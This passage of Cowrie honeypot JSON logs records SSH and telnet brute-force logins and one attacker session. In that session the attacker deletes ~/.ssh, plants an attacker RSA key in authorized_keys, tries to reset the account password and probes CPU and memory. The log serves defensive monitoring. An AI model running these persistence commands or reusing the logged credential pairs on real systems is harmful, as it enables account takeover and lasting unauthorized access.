f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:04:38.155613Z","src_ip":"20.160.86.7","session":"fbc4ba7e0653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:04:38.511912Z","src_ip":"20.160.86.7","session":"fbc4ba7e0653","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:04:39.595523Z","src_ip":"20.160.86.7","session":"fbc4ba7e0653","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.223.60.209","src_port":37112,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f9192041696","protocol":"ssh","message":"New connection: 190.223.60.209:37112 (10.17.0.5:22) [session: 6f9192041696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:04:48.194674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:04:48.199568Z","src_ip":"190.223.60.209","session":"6f9192041696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:04:48.328077Z","src_ip":"190.223.60.209","session":"6f9192041696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:04:48.878830Z","src_ip":"190.223.60.209","session":"6f9192041696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:04:50.008914Z","src_ip":"190.223.60.209","session":"6f9192041696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0025782585144,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:12.677194Z","src_ip":"98.30.219.209","session":"a83e75670bbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":57112,"dst_ip":"10.17.0.5","dst_port":22,"session":"e650abc5437a","protocol":"ssh","message":"New connection: 45.144.233.56:57112 (10.17.0.5:22) [session: e650abc5437a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:15.283645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:15.289574Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:15.384731Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:15.790984Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:16.035947Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:16.042513Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:16.047214Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:16.289161Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:16.440333Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:16.444184Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/bot/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:16.543967Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:16.547998Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":57114,"dst_ip":"10.17.0.5","dst_port":22,"session":"22992fea70e3","protocol":"ssh","message":"New connection: 45.144.233.56:57114 (10.17.0.5:22) [session: 22992fea70e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:16.632558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:16.638510Z","src_ip":"45.144.233.56","session":"22992fea70e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:16.732377Z","src_ip":"45.144.233.56","session":"22992fea70e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:17.151749Z","src_ip":"45.144.233.56","session":"22992fea70e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:18.250184Z","src_ip":"45.144.233.56","session":"22992fea70e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":33830,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fdd17d28580","protocol":"ssh","message":"New connection: 45.144.233.56:33830 (10.17.0.5:22) [session: 4fdd17d28580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:18.339338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:18.344437Z","src_ip":"45.144.233.56","session":"4fdd17d28580","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:18.441461Z","src_ip":"45.144.233.56","session":"4fdd17d28580","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"3245gs5662d34","message":"login attempt [bot/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:18.858527Z","src_ip":"45.144.233.56","session":"4fdd17d28580","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:19.958546Z","src_ip":"45.144.233.56","session":"4fdd17d28580","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:20.143759Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:20.147629Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:20.336678Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:20.503439Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"bot\\n7L1mO8WGV8Dq\\n7L1mO8WGV8Dq\"|passwd|bash","message":"CMD: echo -e \"bot\\n7L1mO8WGV8Dq\\n7L1mO8WGV8Dq\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:20.507271Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:20.511480Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:20.515455Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3a0dbd990879e1183d90e17584fc8dd8dfb4c7dd7683fda70f857dd7bcc6804e","size":32,"shasum":"3a0dbd990879e1183d90e17584fc8dd8dfb4c7dd7683fda70f857dd7bcc6804e","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3a0dbd990879e1183d90e17584fc8dd8dfb4c7dd7683fda70f857dd7bcc6804e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:20.703433Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:20.860355Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"bot\\n7L1mO8WGV8Dq\\n7L1mO8WGV8Dq\\n\"|passwd","message":"CMD: echo \"bot\\n7L1mO8WGV8Dq\\n7L1mO8WGV8Dq\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:20.864111Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5d3fd63191648d7c09fc1305e9f0ad769114e0f2c6377b4caaf5823c6855e8d2","size":25,"shasum":"5d3fd63191648d7c09fc1305e9f0ad769114e0f2c6377b4caaf5823c6855e8d2","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5d3fd63191648d7c09fc1305e9f0ad769114e0f2c6377b4caaf5823c6855e8d2 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:21.053566Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:21.207677Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:21.211693Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:21.399160Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:21.556505Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:21.560728Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":46588,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7957833e6c3","protocol":"ssh","message":"New connection: 185.236.22.41:46588 (159.203.135.109:22) [session: d7957833e6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:21.591183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:21.608542Z","src_ip":"185.236.22.41","session":"d7957833e6c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 